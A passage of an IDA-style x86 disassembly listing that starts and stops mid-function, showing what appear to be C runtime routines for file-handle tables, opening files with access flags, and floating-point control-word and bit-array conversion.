		lea	edx, [eax+100h]


loc_41FCC7:				; CODE XREF: sub_41FCAC+28j
		cmp	eax, edx
		jnb	short loc_41FCE7
		test	byte ptr [eax+4], 1
		jz	short loc_41FCD6
		add	eax, 8
		jmp	short loc_41FCC7
; ---------------------------------------------------------------------------


loc_41FCD6:				; CODE XREF: sub_41FCAC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41FD3B


loc_41FCE7:				; CODE XREF: sub_41FCAC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4CEDE0
		jl	short loc_41FCBB
		jmp	short loc_41FD3B
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FCAC+13j
		mov	esi, 100h
		push	esi
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41FD3B
		add	dword_4CEDE0, 20h
		lea	ecx, ds:4CECE0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41FD1E:				; CODE XREF: sub_41FCAC+88j
		cmp	eax, edx
		jnb	short loc_41FD36
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41FD1E
; ---------------------------------------------------------------------------


loc_41FD36:				; CODE XREF: sub_41FCAC+74j
		shl	edi, 5
		mov	ebx, edi


loc_41FD3B:				; CODE XREF: sub_41FCAC+39j
					; sub_41FCAC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41FCAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD41	proc near		; CODE XREF: sub_41FEC6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4CEDE0
		push	edi
		jnb	short loc_41FDA1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4CECE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41FDA1
		cmp	dword_433C64, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41FD97
		sub	eax, 0
		jz	short loc_41FD8E
		dec	eax
		jz	short loc_41FD89
		dec	eax
		jnz	short loc_41FD97
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------


loc_41FD89:				; CODE XREF: sub_41FD41+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------


loc_41FD8E:				; CODE XREF: sub_41FD41+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41FD91:				; CODE XREF: sub_41FD41+46j
					; sub_41FD41+4Bj
		nop
		call	near ptr 25E09E6h


loc_41FD97:				; CODE XREF: sub_41FD41+36j
					; sub_41FD41+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41FDB5
; ---------------------------------------------------------------------------


loc_41FDA1:				; CODE XREF: sub_41FD41+Cj
					; sub_41FD41+28j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh


loc_41FDB5:				; CODE XREF: sub_41FD41+5Ej
		pop	edi
		pop	esi
		retn
sub_41FD41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB8	proc near		; CODE XREF: sub_41A6B7+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4CEDE0
		push	edi
		jnb	short loc_41FE1B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41FE1B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41FE1B
		cmp	dword_433C64, 1
		jnz	short loc_41FE11
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41FE08
		dec	ecx
		jz	short loc_41FE03
		dec	ecx
		jnz	short loc_41FE11
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------


loc_41FE03:				; CODE XREF: sub_41FDB8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------


loc_41FE08:				; CODE XREF: sub_41FDB8+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41FE0B:				; CODE XREF: sub_41FDB8+49j
					; sub_41FDB8+4Ej
		nop
		call	near ptr 25E09E6h


loc_41FE11:				; CODE XREF: sub_41FDB8+38j
					; sub_41FDB8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41FE2F
; ---------------------------------------------------------------------------


loc_41FE1B:				; CODE XREF: sub_41FDB8+Cj
					; sub_41FDB8+2Aj ...
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh


loc_41FE2F:				; CODE XREF: sub_41FDB8+61j
		pop	edi
		pop	esi
		retn
sub_41FDB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE32	proc near		; CODE XREF: sub_41A6B7+32p
					; sub_41A6B7+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4CEDE0
		jnb	short loc_41FE5A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4CECE0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41FE5A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41FE5A:				; CODE XREF: sub_41FE32+Aj
					; sub_41FE32+23j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41FE32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6F	proc near		; CODE XREF: sub_41A795+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4CEDE0
		jnb	short loc_41FEB8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4CECE0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41FEB8
		push	eax
		call	sub_41FE32
		pop	ecx
		push	eax
		call	near ptr 25E050Ah
		nop
		test	eax, eax
		jnz	short loc_41FEAD
		nop
		call	near ptr 267036Ah
		jmp	short loc_41FEAF
; ---------------------------------------------------------------------------


loc_41FEAD:				; CODE XREF: sub_41FE6F+34j
		xor	eax, eax


loc_41FEAF:				; CODE XREF: sub_41FE6F+3Cj
		test	eax, eax
		jz	short locret_41FEC5
		mov	dword_4CD9B8, eax


loc_41FEB8:				; CODE XREF: sub_41FE6F+Aj
					; sub_41FE6F+22j
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh

locret_41FEC5:				; CODE XREF: sub_41FE6F+42j
		retn
sub_41FE6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEC6	proc near		; CODE XREF: sub_41A96C+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41FEEC
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41FEF7
; ---------------------------------------------------------------------------


loc_41FEEC:				; CODE XREF: sub_41FEC6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41FEF7:				; CODE XREF: sub_41FEC6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41FF11
		test	ch, 40h
		jnz	short loc_41FF0D
		cmp	dword_4CDC88, eax
		jz	short loc_41FF11


loc_41FF0D:				; CODE XREF: sub_41FEC6+3Dj
		or	[ebp+var_1], 80h


loc_41FF11:				; CODE XREF: sub_41FEC6+38j
					; sub_41FEC6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41FF49
		dec	eax
		jz	short loc_41FF40
		dec	eax
		jz	short loc_41FF37


loc_41FF22:				; CODE XREF: sub_41FEC6+9Fj
					; sub_41FEC6+E8j ...
		mov	dword_4CD9B4, 16h
		mov	dword_4CD9B8, ebx
		jmp	loc_42015C
; ---------------------------------------------------------------------------


loc_41FF37:				; CODE XREF: sub_41FEC6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------


loc_41FF40:				; CODE XREF: sub_41FEC6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------


loc_41FF49:				; CODE XREF: sub_41FEC6+54j
		mov	[ebp+var_C], 80000000h


loc_41FF50:				; CODE XREF: sub_41FEC6+78j
					; sub_41FEC6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41FF7E
		cmp	eax, 20h
		jz	short loc_41FF75
		cmp	eax, 30h
		jz	short loc_41FF6C
		cmp	eax, 40h
		jnz	short loc_41FF22
		mov	[ebp+var_10], esi
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF6C:				; CODE XREF: sub_41FEC6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF75:				; CODE XREF: sub_41FEC6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF7E:				; CODE XREF: sub_41FEC6+90j
		mov	[ebp+var_10], ebx


loc_41FF81:				; CODE XREF: sub_41FEC6+A4j
					; sub_41FEC6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41FFCB
		jz	short loc_41FFC6
		cmp	ecx, ebx
		jz	short loc_41FFC6
		cmp	ecx, edi
		jz	short loc_41FFBD
		cmp	ecx, 200h
		jz	short loc_41FFE4
		cmp	ecx, 300h
		jnz	loc_41FF22
		mov	[ebp+var_8], 2
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFBD:				; CODE XREF: sub_41FEC6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFC6:				; CODE XREF: sub_41FEC6+D0j
					; sub_41FEC6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFCB:				; CODE XREF: sub_41FEC6+CEj
		cmp	ecx, 500h
		jz	short loc_41FFED
		cmp	ecx, 600h
		jz	short loc_41FFE4
		cmp	ecx, edx
		jz	short loc_41FFED
		jmp	loc_41FF22
; ---------------------------------------------------------------------------


loc_41FFE4:				; CODE XREF: sub_41FEC6+E0j
					; sub_41FEC6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFED:				; CODE XREF: sub_41FEC6+10Bj
					; sub_41FEC6+117j
		mov	[ebp+var_8], 1


loc_41FFF4:				; CODE XREF: sub_41FEC6+F5j
					; sub_41FEC6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_420013
		mov	ecx, dword_4CD9BC
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_420013
		push	1
		pop	esi


loc_420013:				; CODE XREF: sub_41FEC6+138j
					; sub_41FEC6+148j
		test	al, 40h
		jz	short loc_420021
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_420021:				; CODE XREF: sub_41FEC6+14Fj
		test	ah, 10h
		jz	short loc_420028
		or	esi, edi


loc_420028:				; CODE XREF: sub_41FEC6+15Ej
		test	al, 20h
		jz	short loc_420034
		or	esi, 8000000h
		jmp	short loc_42003E
; ---------------------------------------------------------------------------


loc_420034:				; CODE XREF: sub_41FEC6+164j
		test	al, 10h
		jz	short loc_42003E
		or	esi, 10000000h


loc_42003E:				; CODE XREF: sub_41FEC6+16Cj
					; sub_41FEC6+170j
		call	sub_41FCAC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_42005F


loc_42004C:				; DATA XREF: ___:00427A84o
					; ___:00427A90o
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 18h
		jmp	short loc_42009D
; ---------------------------------------------------------------------------


loc_42005F:				; CODE XREF: sub_41FEC6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 2670000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_420090
		push	esi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jnz	short loc_4200A4
		push	esi
		nop
		call	near ptr 26508BEh


loc_420090:				; CODE XREF: sub_41FEC6+1B6j
		nop
		call	near ptr 267036Ah
		push	eax
		call	sub_41EF44
		pop	ecx


loc_42009D:				; CODE XREF: sub_41FEC6+197j
		mov	eax, edi
		jmp	loc_42017A
; ---------------------------------------------------------------------------


loc_4200A4:				; CODE XREF: sub_41FEC6+1C1j
		cmp	eax, 2
		jnz	short loc_4200AF
		or	[ebp+var_1], 40h
		jmp	short loc_4200B8
; ---------------------------------------------------------------------------


loc_4200AF:				; CODE XREF: sub_41FEC6+1E1j
		cmp	eax, 3
		jnz	short loc_4200B8
		or	[ebp+var_1], 8


loc_4200B8:				; CODE XREF: sub_41FEC6+1E7j
					; sub_41FEC6+1ECj
		push	esi
		push	ebx
		call	sub_41FD41
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4CECE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_420161
		test	al, 80h
		jz	short loc_420161
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_420161
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_420116
		cmp	dword_4CD9B8, 83h
		jz	short loc_420161
		jmp	short loc_420155
; ---------------------------------------------------------------------------


loc_420116:				; CODE XREF: sub_41FEC6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420143
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_420143
		push	[ebp+var_10]
		push	ebx
		call	sub_4211F1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_420155


loc_420143:				; CODE XREF: sub_41FEC6+265j
					; sub_41FEC6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420161


loc_420155:				; CODE XREF: sub_41FEC6+24Ej
					; sub_41FEC6+27Bj
		push	ebx
		call	sub_41A6B7
		pop	ecx


loc_42015C:				; CODE XREF: sub_41FEC6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42017A
; ---------------------------------------------------------------------------


loc_420161:				; CODE XREF: sub_41FEC6+221j
					; sub_41FEC6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_420178
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_420178
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_420178:				; CODE XREF: sub_41FEC6+29Fj
					; sub_41FEC6+2A5j
		mov	eax, ebx


loc_42017A:				; CODE XREF: sub_41FEC6+1D9j
					; sub_41FEC6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42017F	proc near		; CODE XREF: sub_41C50A+52p
		xor	eax, eax
		retn
sub_42017F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420182	proc near		; CODE XREF: sub_4201B7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_4201CD
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42025F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_420182	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B7	proc near		; CODE XREF: sub_41C7F6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_420182
		pop	ecx
		pop	ecx
		retn
sub_4201B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201CD	proc near		; CODE XREF: sub_420182+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4201DE
		push	10h
		pop	eax


loc_4201DE:				; CODE XREF: sub_4201CD+Cj
		test	bl, 4
		jz	short loc_4201E5
		or	al, 8


loc_4201E5:				; CODE XREF: sub_4201CD+14j
		test	bl, 8
		jz	short loc_4201EC
		or	al, 4


loc_4201EC:				; CODE XREF: sub_4201CD+1Bj
		test	bl, 10h
		jz	short loc_4201F3
		or	al, 2


loc_4201F3:				; CODE XREF: sub_4201CD+22j
		test	bl, 20h
		jz	short loc_4201FA
		or	al, 1


loc_4201FA:				; CODE XREF: sub_4201CD+29j
		test	bl, 2
		jz	short loc_420204
		or	eax, 80000h


loc_420204:				; CODE XREF: sub_4201CD+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42023C
		cmp	edx, 400h
		jz	short loc_420239
		cmp	edx, 800h
		jz	short loc_420235
		cmp	edx, esi
		jnz	short loc_42023C
		or	eax, edi
		jmp	short loc_42023C
; ---------------------------------------------------------------------------


loc_420235:				; CODE XREF: sub_4201CD+5Ej
		or	eax, ebp
		jmp	short loc_42023C
; ---------------------------------------------------------------------------


loc_420239:				; CODE XREF: sub_4201CD+56j
		or	ah, 1


loc_42023C:				; CODE XREF: sub_4201CD+4Ej
					; sub_4201CD+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42024C
		cmp	ecx, ebp
		jnz	short loc_420251
		or	eax, 10000h
		jmp	short loc_420251
; ---------------------------------------------------------------------------


loc_42024C:				; CODE XREF: sub_4201CD+72j
		or	eax, 20000h


loc_420251:				; CODE XREF: sub_4201CD+76j
					; sub_4201CD+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42025E
		or	eax, 40000h

locret_42025E:				; CODE XREF: sub_4201CD+8Aj
		retn
sub_4201CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42025F	proc near		; CODE XREF: sub_420182+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42026F
		push	1
		pop	eax


loc_42026F:				; CODE XREF: sub_42025F+Bj
		test	bl, 8
		jz	short loc_420276
		or	al, 4


loc_420276:				; CODE XREF: sub_42025F+13j
		test	bl, 4
		jz	short loc_42027D
		or	al, 8


loc_42027D:				; CODE XREF: sub_42025F+1Aj
		test	bl, 2
		jz	short loc_420284
		or	al, 10h


loc_420284:				; CODE XREF: sub_42025F+21j
		test	bl, 1
		jz	short loc_42028B
		or	al, 20h


loc_42028B:				; CODE XREF: sub_42025F+28j
		test	ebx, 80000h
		jz	short loc_420295
		or	al, 2


loc_420295:				; CODE XREF: sub_42025F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_4202C2
		cmp	ecx, 100h
		jz	short loc_4202BF
		cmp	ecx, esi
		jz	short loc_4202BA
		cmp	ecx, edx
		jnz	short loc_4202C2
		or	ah, 0Ch
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------


loc_4202BA:				; CODE XREF: sub_42025F+50j
		or	ah, 8
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------


loc_4202BF:				; CODE XREF: sub_42025F+4Cj
		or	ah, 4


loc_4202C2:				; CODE XREF: sub_42025F+44j
					; sub_42025F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4202D8
		cmp	ecx, 10000h
		jnz	short loc_4202DA
		or	eax, esi
		jmp	short loc_4202DA
; ---------------------------------------------------------------------------


loc_4202D8:				; CODE XREF: sub_42025F+6Bj
		or	eax, edx


loc_4202DA:				; CODE XREF: sub_42025F+73j
					; sub_42025F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4202E7
		or	ah, 10h

locret_4202E7:				; CODE XREF: sub_42025F+83j
		retn
sub_42025F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202E8	proc near		; CODE XREF: sub_420387+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42032D
		inc	esi
		cmp	esi, 3
		jge	short loc_420328
		lea	eax, [eax+esi*4]


loc_42031A:				; CODE XREF: sub_4202E8+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42032D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_42031A


loc_420328:				; CODE XREF: sub_4202E8+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42032D:				; CODE XREF: sub_4202E8+27j
					; sub_4202E8+35j
		xor	eax, eax
		pop	esi
		retn
sub_4202E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_420331	proc near		; CODE XREF: sub_420387+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		js	short loc_420383
		lea	edi, [ebx+esi*4]


loc_42036A:				; CODE XREF: sub_420331+50j
		test	eax, eax
		jz	short loc_420383
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_42036A


loc_420383:				; CODE XREF: sub_420331+34j
					; sub_420331+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420387	proc near		; CODE XREF: sub_4204E2+81p
					; sub_4204E2+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4203EB
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4202E8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4203E8
		push	edi
		push	[ebp+arg_0]
		call	sub_420331
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_4203E8:				; CODE XREF: sub_420387+51j
		mov	eax, [ebp+arg_4]


loc_4203EB:				; CODE XREF: sub_420387+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_42040B
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_42040B:				; CODE XREF: sub_420387+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420387	endp


; =============== S U B	R O U T	I N E =======================================



sub_420413	proc near		; CODE XREF: sub_4204E2+75p
					; sub_4204E2+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_420421:				; CODE XREF: sub_420413+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_420421
		pop	esi
		retn
sub_420413	endp


; =============== S U B	R O U T	I N E =======================================



sub_42042E	proc near		; CODE XREF: sub_4204E2+5Fp
					; sub_4204E2+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42042E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42043A	proc near		; CODE XREF: sub_4204E2+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_420440:				; CODE XREF: sub_42043A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_420452
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_420440
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_420452:				; CODE XREF: sub_42043A+9j
		xor	eax, eax
		retn
sub_42043A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420455	proc near		; CODE XREF: sub_4204E2+C0p
					; sub_4204E2+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_42048B:				; CODE XREF: sub_420455+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_42048B
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_4204BD:				; CODE XREF: sub_420455+86j
		cmp	ebx, edi
		jl	short loc_4204D0
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4204D7
; ---------------------------------------------------------------------------


loc_4204D0:				; CODE XREF: sub_420455+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


